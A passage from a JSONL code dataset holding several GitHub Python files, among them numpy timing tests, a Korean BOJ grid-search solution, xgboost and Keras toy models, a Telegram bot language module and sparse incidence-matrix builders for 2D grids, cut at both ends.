np.ones(N)*3.5\ng = np.ones(N)*9.445\nh = np.ones(N)*34\ni = np.ones(N)*1.65 \nl = np.ones(N)*3.5\nm = np.ones(N)*9.445\nn = np.ones(N)*34\nz = np.zeros(N)\n\nAA = np.zeros((N,12))\nAA[:,0] = a\nAA[:,1] = b\nAA[:,2] = c\nAA[:,3] = d\nAA[:,4] = e\nAA[:,5] = f\nAA[:,6] = g\nAA[:,7] = h\nAA[:,8] = i\nAA[:,9] = l\nAA[:,10] = m\nAA[:,11] = n\n\nx = np.zeros(N)\n\n\n\ntProfilingStart2 = time.time()\n\nfor k in np.arange(0,N,1):\n \n x[k] = AA[k,0]+AA[k,1]+AA[k,2]+AA[k,3]+AA[k,4]+AA[k,5]+AA[k,6]+AA[k,7]+AA[k,8]+AA[k,9]+AA[k,10]+AA[k,11]\n\n\ntElapsedProfiling2 = time.time() - tProfilingStart2\nprint('\\n Completed --> elapsed time: %.2f s' % tElapsedProfiling2)\n\n\n\ntProfilingStart1 = time.time()\n\nfor k in range(0,N,1):\n \n z[k] = a[k]+b[k]+c[k]+d[k]+e[k]+f[k]+g[k]+h[k]+i[k]+l[k]+m[k]+n[k]\n \ntElapsedProfiling1 = time.time() - tProfilingStart1\nprint('\\n Completed --> elapsed time: %.2f s' % tElapsedProfiling1)\n\n\n\n\n","repo_name":"ess-dg/dg_MultiBlade_MBUTY","sub_path":"MBUTYjadaq/devel/ProvaNDArrayVSsingle.py","file_name":"ProvaNDArrayVSsingle.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9396076950","text":"import sys\r\n\r\n\r\n#수아가 이동한다.\r\ndef sua_move(sua, v, bo, my_map) :\r\n global n,m\r\n global ans_flag\r\n next_sua = []\r\n\r\n # 입력 받은 수아 배열의 값이 있으면, 4방향으로 이동한다.\r\n while sua :\r\n r,c = sua.pop()\r\n\r\n # 도착했는데 보물이면, 정답이므로 출력해준다.\r\n if (r,c) == bo :\r\n print(\"YES\")\r\n ans_flag = True\r\n return\r\n\r\n # 4방향으로 이동한다.\r\n for rr,cc in tra_list :\r\n next_r, next_c = r + rr , c + cc\r\n\r\n if -1 < next_r < n and -1 < next_c < m :\r\n\r\n # 방문한 적이 없고, 이동가능한 곳이면 이동한다.\r\n if v[next_r][next_c] == 9876543210 and (my_map[next_r][next_c] == \".\" or my_map[next_r][next_c] == \"T\"):\r\n v[next_r][next_c] = 0\r\n next_sua.append((next_r, next_c))\r\n return next_sua\r\n\r\n\r\n#해적 이동\r\ndef pirate_move(pirate,v,row_p, col_p) :\r\n next_pirate = []\r\n\r\n while pirate :\r\n\r\n r,c, time = pirate.pop()\r\n #현재 해적의 시간 확인\r\n next_time = time + 1\r\n\r\n for rr,cc in tra_list :\r\n next_r, next_c = r+rr, c+cc\r\n\r\n # 경계 체크\r\n if -1 < next_r < n and -1 < next_c < m :\r\n\r\n #한번도 방문한 적 없고 이동할 수 있는 곳이면\r\n if v[next_r][next_c] == 9876543210 and (my_map[next_r][next_c] == \".\" or my_map[next_r][next_c] == \"T\"):\r\n\r\n # 각 행,렬에 도착한 최소 시간을 업데이트 해준다.\r\n row_a[next_r] = min(row_a[next_r], next_time)\r\n col_a[next_c] = min(col_a[next_c], next_time)\r\n\r\n # 방문 처리 및 배열에 넣어줌.\r\n next_pirate.append((next_r, next_c, next_time))\r\n v[next_r][next_c] = next_time\r\n\r\n return next_pirate\r\n\r\n# 수아 배열에 있는 수아들이 살아있을 수 있는지 확인한다.\r\ndef judge(sua, my_map, row_a, col_a, vp):\r\n next_sua = []\r\n\r\n while sua :\r\n sr,sc = sua.pop()\r\n\r\n # 현재 수아의 위치를 기준으로 row_a, col_a의 시간을 확인해본다.\r\n # 아직 해적이 이 행,렬에 도착하지 않았으면 수아는 반드시 살아남는다.\r\n if row_a[sr] == 9876543210 and col_a[sc] == 9876543210 :\r\n next_sua.append((sr,sc))\r\n continue\r\n\r\n\r\n # 수아의 4방향을 살핀다.\r\n # 1. 섬 or 해적을 만나기 전까지 한쪽 방향을 계속 올린다.\r\n # 2. 섬을 먼저 만나면 이 방향에서는 안전한다.\r\n # 3. 해적을 먼저 만나면 수아는 죽는다\r\n # 4. 해적을 만난다의 기준은, 해적이 이 배열을 방문한 적이 있는지를 확인한다.\r\n false_flag = False\r\n #처음 만나는게 섬인지 확인\r\n jc = sc\r\n while jc < m :\r\n jc +=1\r\n if jc == m :\r\n break\r\n\r\n if vp[sr][jc] != 9876543210 :\r\n false_flag = True\r\n break\r\n\r\n if my_map[sr][jc] == \"I\" :\r\n false_flag = False\r\n break\r\n\r\n if false_flag : continue\r\n\r\n jc = sc\r\n while jc >-1 :\r\n jc -=1\r\n if jc == -1 :\r\n break\r\n\r\n if vp[sr][jc] != 9876543210 :\r\n false_flag = True\r\n break\r\n\r\n if my_map[sr][jc] == \"I\" :\r\n false_flag = False\r\n break\r\n\r\n if false_flag: continue\r\n\r\n jr = sr\r\n while jr < n :\r\n jr += 1\r\n if jr == n:\r\n break\r\n\r\n if vp[jr][sc] != 9876543210:\r\n false_flag = True\r\n break\r\n\r\n if my_map[jr][sc] == \"I\":\r\n false_flag = False\r\n break\r\n\r\n if false_flag: continue\r\n\r\n jr = sr\r\n while jr > -1:\r\n jr -= 1\r\n if jr == -1:\r\n break\r\n\r\n if vp[jr][sc] != 9876543210:\r\n false_flag = True\r\n break\r\n\r\n if my_map[jr][sc] == \"I\":\r\n false_flag = False\r\n break\r\n if false_flag: continue\r\n\r\n #수아가 살았으면 배열에 넣어준다.\r\n next_sua.append((sr,sc))\r\n\r\n return next_sua\r\n\r\n\r\n#그래프 탐색용 배열\r\ntra_list = [[1,0],[0,1],[-1,0],[0,-1]]\r\ndcol = [[0,-1], [0,1]]\r\ndrow = [[1,0], [-1,0]]\r\n\r\n\r\n#입력 받기\r\nn,m = map(int,sys.stdin.readline().split())\r\nmy_map = [[] for _ in range(n)]\r\nfor idx in range(n):\r\n temp = sys.stdin.readline().rstrip()\r\n for k in temp :\r\n my_map[idx].append(k)\r\n if k == \"Y\":\r\n sua = [(idx, len(my_map[idx]) - 1)]\r\n elif k == \"V\" :\r\n pirate = [(idx, len(my_map[idx])- 1, 0)]\r\n elif k == \"T\" :\r\n bo = (idx, len(my_map[idx]) - 1 )\r\n\r\n\r\n\r\n# 해적 방문 체크 배열\r\nvp = [[9876543210 for _ in range(m)] for _ in range(n)]\r\n# 수아 방문 체크 배열\r\nvs = [[9876543210 for _ in range(m)] for _ in range(n)]\r\n\r\n# 해적이 각 행,열에 도착한 시간 확인 → 이 시간 이후로 항상 해적은 이 위치에 있을 수 있다.\r\nrow_a = [9876543210 for _ in range(n)]\r\ncol_a = [9876543210 for _ in range(m)]\r\n\r\n\r\n#해적 + 수아 좌표 초기화\r\nrow_a[pirate[0][0]] = 0\r\ncol_a[pirate[0][1]] = 0\r\nvp[pirate[0][0]][pirate[0][1]] = 0\r\nvs[sua[0][0]][sua[0][1]] = 0\r\n\r\n#수아가 보물에 갈 수 있는지 체크\r\nans_flag = False\r\nwhile sua :\r\n\r\n #수아가 움직인다.\r\n sua = sua_move(sua, vs, bo, my_map)\r\n\r\n #해적이 움직인다.\r\n pirate = pirate_move(pirate, vp, row_a, col_a)\r\n\r\n #둘의 동작이 끝난 상태에서 살아있을 수 있는 수아의 상태를 찾아서 넘겨준다.\r\n sua = judge(sua, my_map, row_a, col_a, vp)\r\n\r\n\r\nif not ans_flag :\r\n print(\"NO\")","repo_name":"chickenchickenlove/BOJ-Algorithm","sub_path":"BOJ_백준 알고리즘/2424_부산의 해적.py","file_name":"2424_부산의 해적.py","file_ext":"py","file_size_in_byte":5985,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33092760387","text":"import numpy as np\nimport torch\n\n\ndef as_tensor(value):\n if isinstance(value, torch.Tensor):\n return value\n elif isinstance(value, np.ndarray):\n return torch.from_numpy(value)\n else:\n raise NotImplementedError\n\n\n# brought from\n# https://github.com/youngjung/improved-precision-and-recall-metric-pytorch/blob/5ad4629b07f3f3a51184c39d3dbe9085a60e264c/improved_precision_recall.py\n# and modified\ndef compute_pairwise_distances(feat_x, feat_y=None, device='cuda') -> np.ndarray:\n with torch.no_grad():\n x = as_tensor(feat_x).to(device)\n xsq = x.square().sum(dim=1, keepdim=True)\n nx = x.shape[0]\n if feat_y is None:\n y = x\n ysq = xsq\n ny = nx\n else:\n y = as_tensor(feat_y).to(device)\n ysq = y.square().sum(dim=1, keepdim=True)\n ny = y.shape[0]\n xsq = xsq.repeat([1, ny])\n ysq = ysq.mT.repeat([nx, 1])\n dsq = xsq + ysq - 2*torch.matmul(x, y.mT)\n dsq = torch.maximum(dsq, torch.zeros_like(dsq))\n # sqrt on youngjung's implemention\n # d = d.sqrt()\n return dsq.detach().cpu().numpy()","repo_name":"toshiaki1729/image-assessing-toolbox","sub_path":"improved_precision_recall/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28200831366","text":"import numpy as np\nimport pandas as pd\nimport wandb\nimport xgboost as xgb\nfrom wandb.xgboost import wandb_callback\n\nwandb.init(\n magic=True,\n project='cartlinear',\n name='xgboost-gbtree',\n)\n# wandb.log()\n\nXs= np.linspace(-10, 10, 100).reshape((-1, 1))\nYs= np.linspace(-20, 20, 100) + np.random.normal(loc=0, scale=3.5, size=(100, ))\n\n\ndataset = pd.DataFrame([{'x': x, 'y': y} for (x, y) in zip(Xs, Ys)]).astype(np.float32)\n\nndata = len(dataset)\nntrain = int(ndata * 0.8)\nnvalid = ndata - ntrain\n\ndef run_model(dataset):\n train_idx, valid_idx = list(range(ntrain)), list(range(ntrain, ndata))\n train, valid = dataset.iloc[train_idx], dataset.iloc[valid_idx]\n train_x, train_y = train[['x']], train['y']\n valid_x, valid_y = valid[['x']], valid['y']\n n_train = xgb.DMatrix(train_x, label=train_y)\n n_valid = xgb.DMatrix(valid_x, label=valid_y)\n params = {\n 'objective': 'reg:squarederror',\n 'eta': 0.1,\n 'max_depth': 6,\n 'nthread': 6,\n 'booster': 'gbtree', # ``gbtree``, ``gblinear`` or ``dart``\n }\n\n clf = xgb.train(\n params=params,\n dtrain=n_train,\n num_boost_round=35000,\n # obj='reg:squarederror',\n # feval='reg:squarederror',\n evals=[(n_valid, 'valid'), (n_train, 'train')],\n early_stopping_rounds=500,\n verbose_eval=200,\n callbacks=[wandb_callback()],\n )\n\n\n\nif __name__ == '__main__':\n run_model(dataset)\n","repo_name":"atomsos/cartlinear","sub_path":"new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74392153106","text":"import itertools\nfrom collections.abc import Iterable\nfrom typing import Generator, List, Union\n\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup, Update\nfrom telegram.ext import CallbackQueryHandler, CommandHandler\n\nimport NekoRobot.modules.sql.language_sql as sql\nfrom NekoRobot import NEKO_PTB\nfrom NekoRobot.langs import get_language, get_languages, get_string\nfrom NekoRobot.modules.helper_funcs.chat_status import user_admin, user_admin_no_reply\n\n\ndef paginate(iterable: Iterable, page_size: int) -> Generator[List, None, None]:\n while True:\n i1, i2 = itertools.tee(iterable)\n iterable, page = (\n itertools.islice(i1, page_size, None),\n list(itertools.islice(i2, page_size)),\n )\n if not page:\n break\n yield page\n\n\ndef gs(chat_id: Union[int, str], string: str) -> str:\n lang = sql.get_chat_lang(chat_id)\n return get_string(lang, string)\n\n\n@user_admin\ndef set_lang(update: Update, _) -> None:\n chat = update.effective_chat\n msg = update.effective_message\n\n msg_text = gs(chat.id, \"curr_chat_lang\").format(\n get_language(sql.get_chat_lang(chat.id))[:-3]\n )\n\n keyb = [\n InlineKeyboardButton(\n text=name,\n callback_data=f\"setLang_{code}\",\n )\n for code, name in get_languages().items()\n ]\n keyb = list(paginate(keyb, 2))\n keyb.append(\n [\n InlineKeyboardButton(\n text=\"Help us in translations\",\n url=\"https://poeditor.com/join/project?hash=oJISpjNcEx\",\n )\n ]\n )\n msg.reply_text(msg_text, reply_markup=InlineKeyboardMarkup(keyb))\n\n\n@user_admin_no_reply\ndef lang_button(update: Update, _) -> None:\n query = update.callback_query\n chat = update.effective_chat\n\n query.answer()\n lang = query.data.split(\"_\")[1]\n sql.set_lang(chat.id, lang)\n\n query.message.edit_text(\n gs(chat.id, \"set_chat_lang\").format(get_language(lang)[:-3])\n )\n\n\nSETLANG_HANDLER = CommandHandler(\"language\", set_lang, run_async=True)\nSETLANG_BUTTON_HANDLER = CallbackQueryHandler(\n lang_button, pattern=r\"setLang_\", run_async=True\n)\n\nNEKO_PTB.add_handler(SETLANG_HANDLER)\nNEKO_PTB.add_handler(SETLANG_BUTTON_HANDLER)\n","repo_name":"Awesome-Prince/NekoRobot-3","sub_path":"NekoRobot/modules/language.py","file_name":"language.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"48"} +{"seq_id":"2374017703","text":"# -*- coding: utf-8 -*-\n\nimport tensorflow as tf\n\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\n#%%\n\n#%%\n\n\n\ninputArray = np.zeros((10000, 2))\noutputArray = np.zeros((10000, 10))\nfor i in range(10):\n num1 = np.random.random()*2-1\n num2 = np.random.random()*2-1\n for j in range(i*1000, i*1000+1000):\n inputArray[j][0] = num1 + (np.random.random()-1)*0.3\n inputArray[j][1] = num2 + (np.random.random()-1)*0.3\n outputArray[j][i] = 1\n\nds = tf.data.Dataset.from_tensor_slices((inputArray, outputArray))\n# dso = tf.data.Dataset.from_tensor_slices(outputArray)\n# ds = tf.data.Dataset.zip((dsi, dso))\n\n\n\n#%%\n\n\n\n# fig, ax = plt.subplots()\n# ax.stackplot(inputArray[:,0], inputArray[:,1])\n# fig.tight_layout()\n# plt.show()\n\n#%%\nplt.scatter(inputArray[:,0], inputArray[:,1], marker = 'o', s = 0.01)\nplt.show()\n\n \n#%%\n# np.random.shuffle(array)\nds = ds.shuffle(buffer_size=10000,\n reshuffle_each_iteration=True)\nds_train = ds.take(7000)\nds_val = ds.skip(7000)\n#%%\nds_train = ds_train.batch(30)\nds_val = ds_val.batch(30)\n\n#%%\n# n,line_batch = next(iter(ds))\n# print(n.numpy())\n#%%\nprint(len(list(ds_train)))\nprint(len(list(ds_val)))\n#%%\n# for el in ds.as_numpy_iterator():\n# print(el)\n \n#%%\nmodel = tf.keras.Sequential()\n\nmodel.add(layers.Dense(2, activation='relu'))\nmodel.add(layers.Dense(100, activation='relu'))\nmodel.add(layers.Dense(100, activation='relu'))\nmodel.add(layers.Dense(100, activation='relu'))\nmodel.add(layers.Dense(10, activation='softmax'))\n\n\n\nmodel.compile(optimizer=tf.keras.optimizers.RMSprop(0.01),\n loss=tf.keras.losses.CategoricalCrossentropy(),\n metrics=[tf.keras.metrics.CategoricalAccuracy()])\n\nresults = model.fit(ds_train, \n epochs=100, \n validation_data=ds_val)\n\n\n#%%\n\ncolour = model.predict_classes(inputArray[:,0:2])\n\n#%%\nplt.figure(figsize=(16, 10))\nplt.scatter(inputArray[:,0], inputArray[:,1], marker = 'o', s = 0.5, c = colour, cmap = 'gist_rainbow_r')\nplt.show()\n#%%\n\n#summarize history for accuracy\nplt.figure(figsize=(16, 10))\nplt.plot(results.history['val_categorical_accuracy'])\nplt.plot(results.history['categorical_accuracy'])\nplt.title('model accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['val_categorical_accuracy', 'categorical_accuracy'], loc='upper left')\nplt.grid(True)\nplt.show()\n\n#summarize history for loss\nplt.figure(figsize=(16, 10))\nplt.plot(results.history['loss'])\nplt.plot(results.history['val_loss'])\nplt.title('model loss')\nplt.ylabel('loss')\nplt.xlabel('epoch')\nplt.legend(['loss', 'val_loss'], loc='upper left')\nplt.grid(True)\nplt.show()\n\n\n\n\n\n\n\n\n\n\n","repo_name":"karuna-heks/python_nlp","sub_path":"keras_localtest.py","file_name":"keras_localtest.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"40028056662","text":"from mygrad import Tensor\r\nfrom mygrad.nnet.layers import dense\r\nfrom mygrad.nnet.losses import multiclass_hinge\r\nimport csv\r\nimport numpy as np\r\n\r\ndef sgd(param, rate):\r\n \"\"\" Performs a gradient-descent update on the parameter.\r\n \r\n Parameters\r\n ----------\r\n param : mygrad.Tensor\r\n The parameter to be updated.\r\n \r\n rate : float\r\n The step size used in the update\"\"\"\r\n param.data -= rate*param.grad\r\n return None\r\n\r\ndef compute_accuracy(model_out, labels):\r\n \"\"\" Computes the mean accuracy, given predictions and true-labels.\r\n \r\n Parameters\r\n ----------\r\n model_out : numpy.ndarray, shape=(N, K)\r\n The predicted class-scores\r\n labels : numpy.ndarray, shape=(N, K)\r\n The one-hot encoded labels for the data.\r\n \r\n Returns\r\n -------\r\n float\r\n The mean classification accuracy of the N samples.\"\"\"\r\n return np.mean(np.argmax(model_out, axis=1) == np.argmax(labels, axis=1))\r\n\r\nwith open('data.csv', newline='') as csvfile:\r\n\td = list(csv.reader(csvfile, delimiter=' ', quotechar='|'))\r\n\t#print(type(d[0][0]))\r\n\tdata = []\r\n\tfor i in range(len(d)):\r\n\t\ta = d[i][0].split(\",\")\r\n\t\tfor j in range(len(a)):\r\n\t\t\ta[j] = int(a[j])\r\n\t\tdata.append(a)\r\n\tdel d\r\n\r\ndata = np.array(data)\r\nytrain = data[:,-1]\r\noneHotEnc = np.zeros((len(ytrain), 5))\r\nfor i in range(len(ytrain)):\r\n oneHotEnc[i][ytrain[i]-1] = 1\r\nytest = oneHotEnc[10000:]\r\nytrain = oneHotEnc[:10000]\r\nxtrain = data[:,:-1]\r\nxtest = xtrain[10000:]\r\nxtrain = xtrain[:10000]\r\ndel data\r\n\r\nD = len(xtrain[0])\r\nK = 5\r\n\r\nW = Tensor(np.random.randn(D, K))\r\nb = Tensor(np.zeros((K,), dtype=W.dtype))\r\n\r\nl = []\r\nacc = []\r\n\r\nparams = [b, W]\r\nrate = .1\r\ny = np.argmax(ytrain, axis=1)\r\nfor i in range(1000):\r\n o = dense(xtrain, W) + b\r\n \r\n loss = multiclass_hinge(o, y)\r\n \r\n l.append(loss.data.item())\r\n loss.backward()\r\n\r\n acc.append(compute_accuracy(o.data, ytrain))\r\n \r\n for param in params:\r\n sgd(param, rate)\r\n \r\n loss.null_gradients()\r\n\r\nprint(acc[-1])","repo_name":"varmam1/Epilepsy-Machine-Learning-Project","sub_path":"Epilepsy.py","file_name":"Epilepsy.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21939654552","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Library imports\nimport numpy as np\nimport numpy.typing as npt\nimport scipy.sparse as sparse\nfrom utils import *\nfrom grid_gen import *\n\n# Functions / Classes\ndef construct_primal_E21_2D(grid: Grid2D) -> tuple[sparse.csr.csr_matrix, sparse.csr.csr_matrix, sparse.csr.csr_matrix]:\n \"\"\"Generates the E21 matrix, used for discrete flux summation.\n Flux summation is done on the primal grid, with cell-outward flux\n being positive flux, and flux arrows going left to right, and bottom to\n top.\n\n Parameters\n ----------\n grid : Grid2D\n Generated structured 2D grid.\n\n Returns\n -------\n E21 : sparse.csr.csr_matrix\n Sparse E21 matrix (discrete flux summation for a cell, outgoing\n positive, flux: left to right, bottom to top)\n\n tE21 : sparse.csr.csr_matrix\n Sparse truncated E21 matrix (discrete flux summation for a cell,\n outgoing positive, flux: left to right, bottom to top). Boundary edge\n contributions removed as they are prescribed.\n\n pE21 : sparse.csr.csr_matrix\n Sparse prescribed E21 matrix (discrete flux summation for a cell,\n outgoing positive, flux: left to right, bottom to top). Boundary edge\n contributions to the flux of each cell effectively. Mostly zero.\n\n Examples\n --------\n grid = Grid2D(64,32)\n E21, tE21, pE21 = construct_primal_E21_2D(grid)\n \"\"\"\n\n #### ================== ####\n #### function variables ####\n #### ================== ####\n matPcell_idx: npt.NDArray[np.int32] = grid.get_all_primal_cells_idx()\n Pconnectivity_idx: npt.NDArray[np.int32] = grid.get_all_primal_cell2face_connectivity()\n bPface_idx: npt.NDArray[np.int32] = grid.get_boundary_primal_faces_idx()[1]\n E21: sparse.dok.dok_matrix = sparse.dok_matrix((matPcell_idx.max()+1, Pconnectivity_idx.max()+1),dtype=np.int8)\n E21_tmp: dict = {}\n #### ================ ####\n #### E21 construction ####\n #### ================ ####\n ## Loop through the 2D grid\n for i in range(matPcell_idx.shape[0]): # i index := x index\n for j in range(matPcell_idx.shape[1]): # j index := y index\n idx = matPcell_idx[i,j]\n if idx >= 0: # Avoid doing operations in case of spurious cells (idx < 0)\n Nidx: int = Pconnectivity_idx[dir2D.N][i,j]\n Eidx: int = Pconnectivity_idx[dir2D.E][i,j]\n Sidx: int = Pconnectivity_idx[dir2D.S][i,j]\n Widx: int = Pconnectivity_idx[dir2D.W][i,j]\n if Nidx >= 0: E21_tmp[(idx,Nidx)] = 1 # Avoid doing operations in case of spurious faces (Nidx, Eidx, ... < 0)\n if Eidx >= 0: E21_tmp[(idx,Eidx)] = 1\n if Sidx >= 0: E21_tmp[(idx,Sidx)] = -1\n if Widx >= 0: E21_tmp[(idx,Widx)] = -1\n\n #### ================ ####\n #### E21 finalization ####\n #### ================ ####\n E21._update(E21_tmp) # bypass sanity check\n E21 = E21.tocsr() # dok_matrix good when constructing, but csr better for matrix-vector products\n # E21.eliminate_zeros() # In the case that zeros within the sparse structure exists, then remove them\n\n tE21 = remove_sparse_rowcol(E21, cols_idx=bPface_idx)\n pE21 = extract_sparse_rowcol(E21, idx=bPface_idx, ext='col')\n return E21, tE21, pE21\n\ndef construct_dual_E10_2D(grid: Grid2D) -> sparse.csr.csr_matrix:\n \"\"\"Generates the E10 matrix, used for discrete gradient estimations.\n Gradient estimation is done on the dual grid, with sink-like vertices,\n edge orientation left to right, bottom to top.\n\n Parameters\n ----------\n grid : Grid2D\n Generated structured 2D grid.\n\n Returns\n -------\n E10 : sparse.csr.csr_matrix\n Sparse E10 matrix (discrete gradient, sink-like vertices, edge\n orientation left to right, bottom to top)\n\n Examples\n --------\n grid = Grid2D(64,32)\n E10 = construct_dual_E10_2D(grid)\n \"\"\"\n\n #### ================== ####\n #### function variables ####\n #### ================== ####\n matDvert_idx: npt.NDArray[np.int32] = grid.get_all_dual_verts_idx()\n Dconnectivity_idx: npt.NDArray[np.int32] = grid.get_all_dual_vert2face_connectivity()\n bDface_idx: npt.NDArray[np.int32] = grid.get_boundary_dual_faces_idx()[1]\n E10: sparse.dok.dok_matrix = sparse.dok_matrix((Dconnectivity_idx.max()+1,matDvert_idx.max()+1),dtype=np.int8)\n E10_tmp: dict = {}\n\n #### ================ ####\n #### E10 construction ####\n #### ================ ####\n ## Loop through the 2D grid\n for i in range(matDvert_idx.shape[0]): # i index := x index\n for j in range(matDvert_idx.shape[1]): # j index := y index\n idx = matDvert_idx[i,j]\n if idx >= 0: # Avoid doing operations in case of spurious vertex (idx < 0)\n Nidx: int = Dconnectivity_idx[dir2D.N][i,j]\n Eidx: int = Dconnectivity_idx[dir2D.E][i,j]\n Sidx: int = Dconnectivity_idx[dir2D.S][i,j]\n Widx: int = Dconnectivity_idx[dir2D.W][i,j]\n if Nidx >= 0: E10_tmp[(Nidx,idx)] = -1 # Avoid doing operations in case of spurious faces (Nidx, Eidx, ... < 0)\n if Eidx >= 0: E10_tmp[(Eidx,idx)] = -1\n if Sidx >= 0: E10_tmp[(Sidx,idx)] = 1\n if Widx >= 0: E10_tmp[(Widx,idx)] = 1\n\n #### ================ ####\n #### E10 finalization ####\n #### ================ ####\n E10._update(E10_tmp) # bypass sanity check\n E10 = E10.tocsr() # dok_matrix good when constructing, but csr better for matrix-vector products\n # E10.eliminate_zeros() # In the case that zeros within the sparse structure exists, then remove them\n tE10 = remove_sparse_rowcol(E10, rows_idx=bDface_idx)\n #print(Dconnectivity_idx[dir2D.S])\n return tE10\n\ndef construct_dual_E21_2D(grid: Grid2D) -> tuple[sparse.csr.csr_matrix, sparse.csr.csr_matrix, sparse.csr.csr_matrix]:\n \"\"\"Generates the E21 matrix, used for discrete curl summation.\n Curl summation is done on the dual grid, with counter-clockwise direction\n being positive curl, and curl arrows going left to right, and bottom to\n top.\n\n Parameters\n ----------\n grid : Grid2D\n Generated structured 2D grid.\n\n Returns\n -------\n E21 : sparse.csr.csr_matrix\n Sparse E21 matrix (discrete curl summation for a cell, counter-\n clockwise positive, curl arrows: left to right, bottom to top)\n\n tE21 : sparse.csr.csr_matrix\n Sparse truncated E21 matrix (discrete flux summation for a cell,\n outgoing positive, flux: left to right, bottom to top). Boundary edge\n contributions removed as they are prescribed.\n\n pE21 : sparse.csr.csr_matrix\n Sparse prescribed E21 matrix (discrete flux summation for a cell,\n outgoing positive, flux: left to right, bottom to top). Boundary edge\n contributions to the flux of each cell effectively. Mostly zero.\n\n Examples\n --------\n grid = Grid2D(64,32)\n E21, tE21, pE21 = construct_dual_E21_2D(grid)\n \"\"\"\n\n #### ================== ####\n #### function variables ####\n #### ================== ####\n matDcell_idx: npt.NDArray[np.int32] = grid.get_all_dual_cells_idx()\n Dconnectivity_idx: npt.NDArray[np.int32] = grid.get_all_dual_cell2face_connectivity()\n bDface_idx: npt.NDArray[np.int32] = grid.get_boundary_dual_faces_idx()[1]\n E21: sparse.dok.dok_matrix = sparse.dok_matrix((matDcell_idx.max()+1, Dconnectivity_idx.max()+1),dtype=np.int8)\n E21_tmp: dict = {}\n #### ================ ####\n #### E21 construction ####\n #### ================ ####\n ## Loop through the 2D grid\n for i in range(matDcell_idx.shape[0]): # i index := x index\n for j in range(matDcell_idx.shape[1]): # j index := y index\n idx = matDcell_idx[i,j]\n if idx >= 0: # Avoid doing operations in case of spurious cells (idx < 0)\n Nidx: int = Dconnectivity_idx[dir2D.N][i,j]\n Eidx: int = Dconnectivity_idx[dir2D.E][i,j]\n Sidx: int = Dconnectivity_idx[dir2D.S][i,j]\n Widx: int = Dconnectivity_idx[dir2D.W][i,j]\n if Nidx >= 0: E21_tmp[(idx,Nidx)] = -1 # Avoid doing operations in case of spurious faces (Nidx, Eidx, ... < 0)\n if Eidx >= 0: E21_tmp[(idx,Eidx)] = 1\n if Sidx >= 0: E21_tmp[(idx,Sidx)] = 1\n if Widx >= 0: E21_tmp[(idx,Widx)] = -1\n\n #### ================ ####\n #### E21 finalization ####\n #### ================ ####\n E21._update(E21_tmp) # bypass sanity check\n E21 = E21.tocsr() # dok_matrix good when constructing, but csr better for matrix-vector products\n # E21.eliminate_zeros() # In the case that zeros within the sparse structure exists, then remove them\n\n tE21 = remove_sparse_rowcol(E21, cols_idx=bDface_idx)\n pE21 = extract_sparse_rowcol(E21, idx=bDface_idx, ext='col')\n return E21, tE21, pE21\n\n\nif __name__ == \"__main__\":\n import matplotlib.pyplot as plt\n\n N = 5\n M = 5\n grid = Grid2D(N,M)\n _, E21p, pE21p = construct_primal_E21_2D(grid)\n E10d = construct_dual_E10_2D(grid)\n _, E21d, pE21d = construct_dual_E21_2D(grid)\n\n # Verify the (negative) transpose of the dual grid is the primal grid operator.\n print(E21p != -E10d.transpose())\n\n # Verify the curl of the gradient is zero. Note that only the inside cells are considered since prescribing values means that the curl of the gradient\n # is not necessarily zero on those cells.\n innercell_idx = grid.get_inner_dual_cells_idx()\n iE21d = remove_sparse_rowcol(E21d, rows_idx=innercell_idx)\n print(iE21d@E10d != 0)\n\n # Verify that the divergence of the curl is zero. Note that only the inside cells are considered since prescribing values means that the curl\n # is not necessarily zero on those cells.\n print(E21p@iE21d.transpose() != 0)\n\n # plt.imshow(E10d.toarray()) # TODO: Maybe something wrong here? Need to troubleshoot\n # plt.show()\n # plt.imshow(-E10d.transpose().toarray())\n # plt.show()\n # plt.imshow(pE21p.toarray())\n # plt.show()\n # plt.imshow((iE21d@E10d).toarray())\n plt.imshow((E10d).toarray())\n plt.show()\n # plt.imshow((E21p@iE21d.transpose()).toarray())\n # plt.show()\n\n # print(grid)\n","repo_name":"abettini99/AE4136_Assignment","sub_path":"lib/old/incidence_mat.py","file_name":"incidence_mat.py","file_ext":"py","file_size_in_byte":10712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15160846475","text":"\"\"\"Setup the application on the target host.\"\"\"\n\nimport os, time\nfrom gbd.core import config, util, plugin, log, shell as sh, db, debug\n\n\ndef vhost_config():\n config_path = config.path()\n server_name = config.get('www.server_name')\n server_port = config.get('www.server_port', '80')\n is_https = str(server_port) == '443'\n htpasswd_path = config.get('www.htpasswd_path')\n basic_auth = bool(htpasswd_path)\n\n app_name = config.get('app.name');\n app_root = config.app_root()\n log_dir = config.get('paths.log')\n home_dir = config.get('paths.home')\n\n python_path = os.environ.get('PYTHONPATH', '')\n python_path = (python_path + ':' + app_root).strip(':')\n\n media_types = ['js', 'json', 'png', 'gif', 'jpg', 'css', 'html', 'ico', 'svg', 'eot', 'woff', 'woff2']\n media_types = '|'.join(sorted(set(media_types)))\n\n osname = sh.osname()\n xvfb_display = int(config.get('app.xvfb_display', 99))\n\n loopback_host = config.get('app.loopback_host', 'gbd.local')\n\n aliases = [\n ['/gbd', config.app_root() + '/gbd']\n ]\n\n qwc_root = 